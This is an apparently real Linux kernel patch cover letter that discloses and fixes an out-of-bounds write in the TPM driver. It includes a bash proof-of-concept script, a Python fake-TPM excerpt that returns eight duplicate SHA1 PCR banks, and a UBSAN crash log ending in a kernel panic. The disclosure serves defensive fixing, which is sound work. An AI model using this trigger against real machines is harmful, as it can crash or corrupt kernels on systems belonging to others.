[PATCH 0/1] tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

[Yuqi Xu <xuyuqiabc@gmail.com>]

Hi Linux kernel maintainers,

We found and validated an issue in drivers/char/tpm/tpm2-cmd.c.
The bug is triggered by an attacker-controlled TPM 2.0 backend that
returns duplicate PCR bank selections in its TPM2_CAP_PCRS response
during device probe.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

`struct tpm_chip` reserves `chip->groups` as an array with only
`3 + TPM_MAX_HASHES` slots (8, with TPM_MAX_HASHES = 5).
`tpm2_get_pcr_allocation()` parses the TPM2_CAP_PCRS response and adds
every selection with a non-zero `pcr_select` to `chip->allocated_banks[]`.
It rejects more than `TPM2_MAX_PCR_BANKS` (8) selections but never checks
that the hash algorithm is unique.  `tpm_sysfs_add_device()` then stores
the device group plus one PCR group per allocated bank with
`chip->groups[chip->groups_cnt++]`, so eight duplicate SHA1 banks make it
write index 8 of an 8-element array, before the trailing
`WARN_ON(chip->groups_cnt > TPM_MAX_HASHES + 1)`.

The TPM response is external input: a malicious or buggy TPM 2.0 backend
can report the same bank eight times and drive the out-of-bounds write
during `tpm_chip_register()` -> `tpm_sysfs_add_device()`.

Keep `allocated_banks[]` unique by ignoring a selection whose hash
algorithm has already been added; the number of distinct groups then
matches the number of distinct hash algorithms.

Reproducer:

 cd /root
 ./poc.sh

poc.sh starts malicious_tpm.py, a small swtpm-control-protocol backend
that answers TPM2_CAP_PCRS with eight duplicate SHA1 selections, and boots
a kernel with `-device tpm-tis` pointing at it.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU/KVM environment with
CONFIG_TCG_TPM, CONFIG_TCG_TIS and CONFIG_UBSAN_BOUNDS enabled and
panic_on_warn=1 on the kernel command line.  The test build has
CONFIG_TCG_TPM2_HMAC disabled so the probe reaches TPM2_CAP_PCRS without
the fake backend having to answer CREATE_PRIMARY.

------BEGIN poc.sh------

#!/usr/bin/env bash
set -euo pipefail

DIR="$(cd -- "$(dirname -- "$0")" && pwd)"
KERNEL_SRC="${1:-/home/data/data/repos/linux-repos/linux-lts-v6.12.74}"
CTRL_SOCK="$(mktemp -u /tmp/malicious-tpm-XXXXXX.sock)"
BACKEND_LOG="${DIR}/backend.log"
RAW_QEMU_LOG="${DIR}/qemu-raw.log"
QEMU_LOG="${DIR}/qemu.log"

cleanup() {
  if [[ -n "${BACKEND_PID:-}" ]] && kill -0 "${BACKEND_PID}" 2>/dev/null; then
    kill -TERM "${BACKEND_PID}" 2>/dev/null || true
    wait "${BACKEND_PID}" 2>/dev/null || true
  fi
  rm -f "${CTRL_SOCK}"
}
trap cleanup EXIT

: > "${BACKEND_LOG}"

python3 "${DIR}/malicious_tpm.py" --ctrl "${CTRL_SOCK}" --log "${BACKEND_LOG}" &
BACKEND_PID=$!

echo "backend log: ${BACKEND_LOG}"
echo "raw qemu log: ${RAW_QEMU_LOG}"
echo "sanitized qemu log: ${QEMU_LOG}"
echo "The VM should exit on its own after the panic. If it does not, kill the printed pid."

script -q -f "${RAW_QEMU_LOG}" -c "${DIR}/qemu-start-kernel-tpm.sh ${KERNEL_SRC} ${CTRL_SOCK}"
perl -pe 's/\e\[[0-9;?]*[ -\/]*[@-~]//g; s/\ec//g; s/\r//g' "${RAW_QEMU_LOG}" > "${QEMU_LOG}"

if grep -q 'UBSAN: array-index-out-of-bounds in ../drivers/char/tpm/tpm-sysfs.c:513:16' "${QEMU_LOG}" &&
   grep -q 'Kernel panic - not syncing: UBSAN: panic_on_warn set' "${QEMU_LOG}"; then
  echo "Trigger confirmed. See ${QEMU_LOG}"
else
  echo "Trigger not observed. See ${QEMU_LOG} and ${BACKEND_LOG}" >&2
  exit 1
fi

------END poc.sh--------

------BEGIN malicious_tpm.py excerpt------

ALG_SHA1 = 0x0004

def build_get_cap_pcrs():
    entries = []
    for _ in range(8):
        entries.append(be16(ALG_SHA1) + b"\x03" + b"\x01\x00\x00")
    payload = b"\x00" + be32(TPM2_CAP_PCRS) + be32(8) + b"".join(entries)
    return build_header(TPM2_RC_SUCCESS, payload)

        if cap == TPM2_CAP_PCRS:
            return build_get_cap_pcrs()

------END malicious_tpm.py excerpt------

----BEGIN crash log----

[    0.487531] ------------[ cut here ]------------
[    0.487533] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-tpm-675/drivers/char/tpm/tpm-sysfs.c:517:16
[    0.487535] index 8 is out of range for type 'attribute_group *[8]'
[    0.487538] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 7.3.0-rc3-00322-gab411db3c3b1 #2 PREEMPT(lazy) 
[    0.487541] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-10.fc44 06/10/2025
[    0.487542] Call Trace:
[    0.487553]  <TASK>
[    0.487555]  dump_stack_lvl+0x4d/0x70
[    0.487561]  ubsan_epilogue+0x5/0x2b
[    0.487564]  __ubsan_handle_out_of_bounds.cold+0x4e/0x58
[    0.487567]  tpm_sysfs_add_device+0x29f/0x380
[    0.487573]  tpm_chip_register+0x3d/0x1e0
[    0.487576]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487579]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487580]  tpm_tis_core_init.cold+0x1bc/0x3a1
[    0.487584]  tpm_tis_plat_probe+0x101/0x130
[    0.487588]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487590]  platform_probe+0x74/0xc0
[    0.487594]  ? driver_sysfs_add+0x50/0x80
[    0.487596]  really_probe+0xdd/0x290
[    0.487597]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487599]  __driver_probe_device+0x99/0x180
[    0.487601]  ? __pfx___driver_attach+0x10/0x10
[    0.487602]  driver_probe_device+0x1a/0xa0
[    0.487604]  ? __pfx___driver_attach+0x10/0x10
[    0.487605]  __driver_attach+0xab/0x180
[    0.487607]  ? srso_alias_return_thunk+0x5/0xfbef5
[    0.487608]  bus_for_each_dev+0x92/0xf0
[    0.487611]  bus_add_driver+0x104/0x220
[    0.487613]  ? __pfx_init_tis+0x10/0x10
[    0.487617]  driver_register+0x70/0xe0
[    0.487619]  init_tis+0x9b/0xf0
[    0.487623]  do_one_initcall+0x84/0x260
[    0.487626]  kernel_init_freeable+0x249/0x2c0
[    0.487630]  ? __pfx_kernel_init+0x10/0x10
[    0.487633]  kernel_init+0x1b/0x140
[    0.487635]  ? __pfx_kernel_init+0x10/0x10
[    0.487637]  ret_from_fork+0x196/0x260
[    0.487640]  ? __pfx_kernel_init+0x10/0x10
[    0.487641]  ? __pfx_kernel_init+0x10/0x10
[    0.487643]  ret_from_fork_asm+0x1a/0x30
[    0.487646]  </TASK>
[    0.487647] ---[ end trace ]---
[    0.487648] Kernel panic - not syncing: UBSAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (1):
  tpm: ignore duplicate PCR banks in tpm2_get_pcr_allocation

 drivers/char/tpm/tpm2-cmd.c | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)


base-commit: ab411db3c3b1fd0c70a36fb32c96b2c60175210b
-- 
2.55.0